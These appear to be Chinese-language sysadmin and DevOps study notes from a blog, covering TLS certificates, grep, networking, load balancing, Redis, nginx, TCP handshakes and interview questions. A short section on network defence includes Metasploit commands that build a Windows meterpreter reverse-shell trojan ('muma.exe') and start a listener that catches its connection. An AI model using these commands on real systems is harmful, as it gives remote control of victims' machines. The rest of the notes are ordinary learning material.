SSL/TLS
TCP
IP

加密的方式

1.使用非对称加密(公钥+私钥)

2.使用公钥对 对称加密的算法和对称加密的钥匙 进行加密

  1. 具体使用什么加密算法,是根据配置文件来的
    这个过程称为协商- 整个协商的过程和结果都是在使用非对称加密的公钥进行
    加密,使用私钥进行界面

    原因是因为:
    非对称加密的加密和解密复杂,不利于对大量数据的加密和解密
    对称加密加密和解密的速度快,且简单,有利于对大量数据的加密和解密

  2. 协议好对称加密的算法之后,双方之后会用同样的对称加密算法对之后传输的
    数据进行加密和解密

非对称加密是 公钥和私钥 需要找一个第三方权威机构签发

CA 权威机构

1 够买证书
2 填写自己的相关信息(crt), 提供给 CA

  • 国家 CN
  • 地区(省份) henan
  • 城市 zhengzhou
  • 具体地址
  • 组织 公司内部的部门
  • 常用名 鲨鱼云科技有限公司
    3 CA 审核
    4 CA 签发
  • 证书
    • 公钥
    • 其他信息
      • 签发者信息(CA 的信息)
      • 证书是拥有者的信息
  • 私钥

5 使用 证书和私钥

  • nginx
  • tomcat
  • 其他需要进行加密的软件服务上
    比如 Docker 中私有仓库

配置文件中配置:
必须的:
- 证书文件路径
- 私钥文件路径

--------------------------------------------------正则匹配-------------------------------------
扩展正则 -r
[:alnum:] 代表所有的大小写英文字符和数字 0-9 A—Z a-z
grep “[[:alnum:]]” q
[:alpha:] 代表任意英文大小写字符  A-Z a-z
[:lower:] 代表小写字符       a-z
[:upper:] 代表大写字符        A-Z
[:digit:] 代表数字         0-9
grep “[[:digit:]]” q
#-i :忽略大小写的不同,所以大小写视为相同
#-n :顺便输出行号
#-w: 作为整个单词进行匹配
#-o : 只显示匹配内容
#-c :显示匹配行数
^word 寻找word开头的行 -n 参数打印出行号
grep -n ‘^The’ q
good.$ 寻找good.结尾的行
grep -n ‘good.$’ q
. 代表一定有一个任意的字符 g.d 匹配gld gad等
grep -n ‘g.d’ q
\ 转义字符/跳脱字符 将特殊意义的字符去除 搜索 ’
grep -n ‘’’ q
\ 匹配 .
grep -n ‘.’ q

  • 匹配零个或多个字符 es esss essst
    grep ‘es*’ q
    [list] 列出[]内的单个字符 a[list]d ald aid asd atd 可以匹配多个 字符集
    grep ‘a[list]d’ q
    [0-9] 匹配 0-9 任意数字 字符集
    grep ‘[0-9]’ q
    [^ ] 当^在[]内时表示取反 ‘goo[^d]’ 可以是gooa gooq 不是good
    grep ‘goo[^]’ q

{n,m} 匹配连续n到m个字符 在g与d之间存在多个字符 good goood
grep ‘go{2,3}d’


作用

  • 交换机 使用集成电路对数据帧进行转发
  • 路由器 根据目标地址转发数据包

二层交换机 二层 基于端口转发数据
三层交换机 三层 基于IP转发数据包 每一个端口都可以配置一个ip地址
二层交换机+路由器 与 三层交换机
共同点

  1. 都可以支持路由功能
    不同点
    1.二层交换机+路由器
    • 可以支持异构网络
      2.三层交换机,通常只支持以太网
      以太网
    • 线缆是rj45的双绞线(网线:五类/六类网线)
      令牌网
    • 线缆是平常家里有线电视的线缆
      二层交换机和三层交换机
    • 二层交换机
      每个接口不能配置ip地址
      所有的接口都处于同一个广播域
    • 三层交换机
      每个接口都可配置ip地址
      每个接口都是一个单独的广播域
      两个路由器相连是同一个广播域两个接口都在同一个网段
      同一个路由器的每一个接口都是一个广播域 每一个接口都必须是单独的网段
      二层交换机不管有多少个接口都是一个广播域 处于同一广播域

----------------------------------------补充 docker---------------------------------------
privileged: true 特权模式
command: /usr/sbin/init

-------------------------------------------mysql----库里设置表---------------------------------
create table student (
id int,
name varchar(10),
age int(3)
phone char(11)
);

insert into student (
id,name, age, phone
) values
(1,‘王麻子’, 32, ‘13728096541’),
(2,‘九筒’, 32, ‘13721096541’),
(3,‘六子’, 18, ‘13139192657’),
(4,‘马邦德’, 37, ‘15855996688’);
-------------------------容器没网 -----------------------------------
vim /etc/sysctl.conf #配置转发
net.ipv4.ip_forward=1 #重启服务,让配置生效
systemctl restart network #查看是否成功,如果返回为“net.ipv4.ip_forward = 1”则表示成功

单cpu
平均负载
1分钟 5分钟 15分钟
1.0 0.5 0.3
cpu负载 1分钟cpu 处理某个计算时cpu突然增高
多cpu 2核
2.0 1.6 1.4

-----------------------------------护网------------------------------
ips waf web应用服务器 五层设备
waf 检测数据包内容
态势感知 检测来自互联网的所有攻击
IDS 入侵检测系统 IDS部署到核心交换处,静态流量(复制数据)
IPS 入侵防御系统 串联到防火墙与核心交换机 架构中
防火墙作用: 区域隔离三个

  • 包过滤

蜜罐技术:低交互 没什么具体功能 高交互:可操作性


msfconsole
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.253.193 lport=4444 -f exe -o muma.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.193
set lport 4444
exploit

----------------------------------------工作中遇到的问题-----------------------------------

--------------------------------------------------------协议--------------------------------------------------
tcp 传输控制协议 全双工 安全可靠
udp 用户数据协议
arp 地址解析协议
icmp 互联网控制信息协议
smtp 简单邮件传输协议
snmp 简单网络管理协议
ftp 文件传输协议
http 超文本传输协议
DNS 域名解析
user-agent 表示来自哪个内核
ip 网间网协议

-----------------------------------------------负载均衡---------------------------
集群的概念: 通过集群技术将多台服务器进行一个组合,提高各方面的性能,高速 高效;

负载均衡技术: 每个机器都承担一定的负载;

实现负载均衡的方式: 硬件负载均衡 软件负载均衡

硬件: F5 深信服

软件: lvs nginx haproxy

负载均衡技术类型: 四层 七层 主流

四层负载均衡的产品:
-lvs 重量级负载均衡 可以支持上万并发连接 稳定性较强 成本低廉 配置简单

-nginx 轻量级的负载均衡 带缓存功能

-haproxy 灵活
七层负载均衡产品:
-haproxy 支持七层代理

-nginx 轻量级

-apache 功能比较差 淘汰

四层与七层负载均衡区别
四层 ip和port 七层 url或主机ip
四层难度比较低
四层性能较高不解析内容 七层性能中 算法识别
haproxy 支持 四层和七层的负载均衡 高性能

  • 算法
    加权轮询
    最小连接数

lvs的四种工作模式

  • nat 都要经过负载均衡器
    请求数据 源地址不变 目标地址:负载均衡器ip–>真实服务器ip
    返回数据 目标地址不变 源地址:真实服务器ip–>负载均衡器ip

  • ip隧道 tunnel 请求数据通过负载均衡,返回数据不通过负载均衡
    请求数据 目标地址不变 源地址也不变 数据包经过负载均衡器时会进行封装
    返回数据 源地址不变 目标地址也不变

  • 直接路由 dr默认 请求数据经过负载均衡,返回数据不经过负载均衡
    请求数据 都不变
    返回数据 都不变

  • full nat 都要经过负载均衡器

lvs算法

  • 静态
    轮询、加权轮询、hash
  • 动态
    最小连接数、加权最小连接、队列调度(保证不会有一台机器空闲)

keepalived 高可用技术 防止单点故障
采用vip漂移原理,即绑定一个公网的ip一台为master,另一台为backup,当其中一台出现故障时,另
一台会自动切换ip(脑裂:两台机器都以为对方出现故障,可能会导致访问失败;解决方法:直接停掉
服务检查机器之间是否可以相互通信,检查防火墙
采用协议vrrp协议,虚拟路由冗余协议

---------------------------------------------------------------k8s-----------------------------------------------------------
1-深入浅出认识Kubernetes https://docs.qq.com/doc/DQ1l4eFpNZGRuVENp
2-Kubernetes-Kubeadm集群部署 https://docs.qq.com/doc/DQ2FGenhOdGdaTHNw
3-Kubernetes-集群使用 https://docs.qq.com/doc/DQ0pRVXRCRldPdm1R
4-kubectl工具使用 https://docs.qq.com/doc/DQ0FCbnVJemFDWGZ0
5-深入浅出kubeadm https://docs.qq.com/doc/DQ3VMR1BoY0ZHQWF0
6-kubernetes私服 https://docs.qq.com/doc/DQ0l1bUtFdFNQSmdR
7-kubernetes部署HELM https://docs.qq.com/doc/DQ3FZcWd6aHdMTElo
8-Kubernetes的yaml文件 https://docs.qq.com/doc/DQ2lkU0pJR2VoVWZN
9-kubernetes-pod-API详解 https://docs.qq.com/doc/DQ3dlZWNSZExsWExx
10-kubernetes-RABC https://docs.qq.com/doc/DQ3BMbFF5eFpXeVNt
11-kubernetes-详解 https://docs.qq.com/doc/DQ2RaeHdkb1Z4UFZj
12-kubernetes调度之pod亲和性 https://docs.qq.com/doc/DQ3hpQWxvS3NGcnFn
13-kubernetes暴露服务的方式 https://docs.qq.com/doc/DQ0hyd1JjVERmbnhk
14-kubernetes项目promethues+grafana实战 https://docs.qq.com/doc/DQ0VPSlNKUURYdmpz
15-kubernetes常见面试题 https://docs.qq.com/doc/DQ2Z1bmJMZXV3c1pk

深入浅出:汉语成语,拼音是shēn rù qiǎn chū。是由深入显出演化而来。指言论或文章的观点主题意义深刻,但在语言文字的表达方式上却浅显易懂。出自《湖楼笔谈》

文件句柄:在文件I/O中,要从一个文件读取数据,应用程序首先要调用操作系统函数并传送文件名,并选一个到该文件的路径来打开文件。该函数取返回一个顺序号,即文件句柄(file handle),该文件句柄是打开的文件的唯一的识别依据

文件描述符:进程通过文件描述符(fd)来管理打开的文件
file descriptor 英 [faɪl dɪˈskrɪptə®] 美 [faɪl dɪˈskrɪptər] 文件描述符

站长查询
http://seo.chinaz.com/

-----------------------------------------------------数据库引擎-------------------------------------------------
引擎

  • innodb mysql默认使用 支持事务(acid原子性 一致性 隔离性 持久性)
  • myisam
  • memory
    sql
  • mysql
  • mariadb
  • orcal 收费的 但有收费版
    nosql
  • redis 哨兵机制 为什么使用redis :支持持久化,AOF、RDB 解决遇到的高并发问题
  • mongodb
  • memcache

---------------------------------------------------RabbitMQ--------------------------------------------------
1.消息队列/中间件
2.port 15672
3. 在秒杀商品的时候如果访问服务器 系统会提示我们稍等排队,而不是像以前一样直接把卡死的页面报给用户 这里采用了消息队列机制
把这些请求进行一个统一的管理,而不是突然的访问量直接把机器搞得宕机,RabbitMQ作用就是削峰填谷 为业务保驾护航
4. 用于分布式系统 支持多操作系统

devops
CI/CD 持续集成 持续交付、持续部署 一种工作流程
------------------------------------------------redis数据库-------------------------------------------------
AOF 增量持久化 #默认不会开启 需要进行相关设置

RDB 全量持久化

停电 先进行一个RDB全量的恢复,然后再进行AOF增量的恢复。 AOF:为了弥补RDB的不足

-----------------------------------------------------apache、nginx工作模式-------------------------------------
apache: prefork(一个主进程、多个子进程) worker(多个子进程、每个子进程有多个子线程) event(统一管理keepalive进程)
nginx:
- master-worker(有一个master进程、至少一个worker进程)保持一个最大的连接,一个woker进程停止以
后会出现一个新的work进程 高性能 master进程主要负责监控work 加载配置等,对外提供服务的主要是
work进程
- 单进程模式(开发调试时使用,不会应用实际) 不支持平滑升级功能

---------------------------------------------------用户反馈访问80端口很慢--------------------------------------
1.用自己的电脑访问一下,看看是不是用户的网络有问题
2.查看网站的大小与网站打开时间成不成正比
3.ping 检查网络的丢包率,是否出现网络问题
4. 检查配置文件是否进行相关文件的压缩,以及相关参数 是否进行限速
5.数据库 cpu 服务器等信息
6.网站本身是否有问题 代码是否有问题
------------------------------------------------------nginx采用了什么技术---------------------------------------
如何查看nginx连接数
通过web页面查看,安装nginx查看是否有status模块,在server配置中添加设置相关参数,访问浏览器查看

nginx 采用了epoll技术实现多路复用,采用异步非阻塞实现高并发

----------------------------数据库主从复制---------------------------

binlog 日志
数据恢复根据


--------------------------------------------------------------面试题-------------------------------------------------------

四次挥手(问了2次):三次握手(问了2次):

1.怎么查看磁盘io
vmstat
2.怎么查看过滤前十行pid
ps -aux | awk ‘{print $2}’ |head -10
3.公司架构之类的,问的不多我就三十分钟,都是项目上的

1.平常系统怎么优化
对新机器的优化,例如修改yum源、ntp对时和关闭一些防火墙策略之类的
查看机器的负载 有没有什么不要的进程 定时删除一个不需要的日志文件和备份数据
2.写过哪些脚本
初始化 服务的安装 检查网站的存活之类的
3.lvs几种模式
DR(默认) NAT FULL-NAT TUNNEL
4.k8s有哪些资源

5.logstah和filebeat区别~filebeat可以过滤,轻量级
filebeat 收集日志 logstash 拿日志 格式整理
6.公司网站架构
7.k8s安装方式
8.重点在于项目会根据你项目写的技术来问
9.k8s集群架构
10.zabbix怎么监控MySQL主从~答案是一条命令
/usr/local/mysql/bin/mysql -uroot -p123456 -e “show slave status \G;” | grep -E ‘Slave_IO_Running: Yes|Slave_SQL_Running: Yes’ | grep -c Yes
写一个脚本 查看mysql从库 io/sql线程是否为yes
show slave status \G;
rabbitmq怎么做高可用 有doos攻击怎么办
做好安全防护 比如:禁止root用户远程登入 经常修改密码(使用强密码)
购买流量清洗
12.crontab -e * * * * * 分时日月周 计划任务
写在任务计划里 一次性调度 执行一次 at(只执行一次)


--------------------------------------------------------三次握手 四次挥手----------------------------------------------
三次握手:指建立一个tcp连接时,需要客户端和服务端总要发三个包。保证数据在传输时的一个完整性。
半连接:服务端收到客户端第一次发的包,这些连接都被称为半连接。
全连接:完成三次握手状态。
为什么握手要三次:更安全、可靠。 服务端第一次发包时,由于网络阻塞被延迟,于是又发了一次包,这次服务端收到了并作出响应,
这时服务端又收到了客户端第一次发的包,误以为这是客户端发的请求,于是又响应了一次,于
是就造成了资源浪费。
SYN攻击:客户端伪造大量不存在的ip不断向服务端发送请求,服务端收到之后,回应数据包,等待服务端确认时,由于ip不存在不断
重发,直至超时,让真实客户端一直处于等待状态 缩短超时(SYN Timeout)时间 增加最大半连接数
四次挥手:TCP的连接的拆除需要发送四个包,因此称为四次挥手。
为什么挥手要四次:因为Tcp是全双工通信的,同时也是为了数据的完整性。
(1)客户端A发送一个FIN,用来关闭客户A到服务器B的数据传送。
(2)服务器B收到这个FIN,它发回一个ACK,确认序号为收到的序号加1。和SYN一样,一个FIN将占用一个序号。
(3)服务器B关闭与客户端A的连接,发送一个FIN给客户端A。
(4)客户端A发回ACK报文确认,并将确认序号设置为收到序号加1。


-----------------------------------------------------jenkins---------------------------------------------------
ci/cd 持续集成/持续发布/持续发布 一种理念 一个流程

Jenkins

开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平

台,使软件的持续集成变成可能。
Jenkins功能包括

 1、持续的软件版本发布/测试项目。
 2、监控外部调用执行的工作。
 3、不需要数据库支持。

----------------------------------------------------------------优化--------------------------------------------------------
系统优化:
-例如
ulimit 对一些资源进程进行限制
内核优化 文件句柄数 tcp连接之类的
磁盘io读写 改变调度(算法) 请求队列以及一些相关参数
nginx优化:
-例如
遇到瓶颈->场景分析>查看cpu>查看nginx相关模块 检查状态
1.文件句柄 一个文件打开时的索引
2.全局性 的配置一些参数 超时时间,最大链接数之类的
3.cpu亲和配置
4.ab命令测试
tomcat优化:
1.降权启动 使用非root用户启动(安全)
2.设置jvm虚拟机的的大小 堆内存还有缓存大小 并发数
3.定时重启tomcat 释放压力----最常使用的就是这个
4.优化代码(对开发要求高)
5.加内存 费钱


https://blog.csdn.net/zy_xingdian/article/details/108582342

配置 https://www.meiwen.com.cn/subject/dzdzbctx.html

https://blog.csdn.net/zheng95700/article/details/102909326

https://blog.csdn.net/zheng95700/article/details/102909326

k8s https://space.bilibili.com/97139894?from=search&seid=4695495070154968259
python https://www.bilibili.com/video/BV1wD4y1o7AS?p=9&spm_id_from=pageDriver

你可能感兴趣的:(其他,云计算)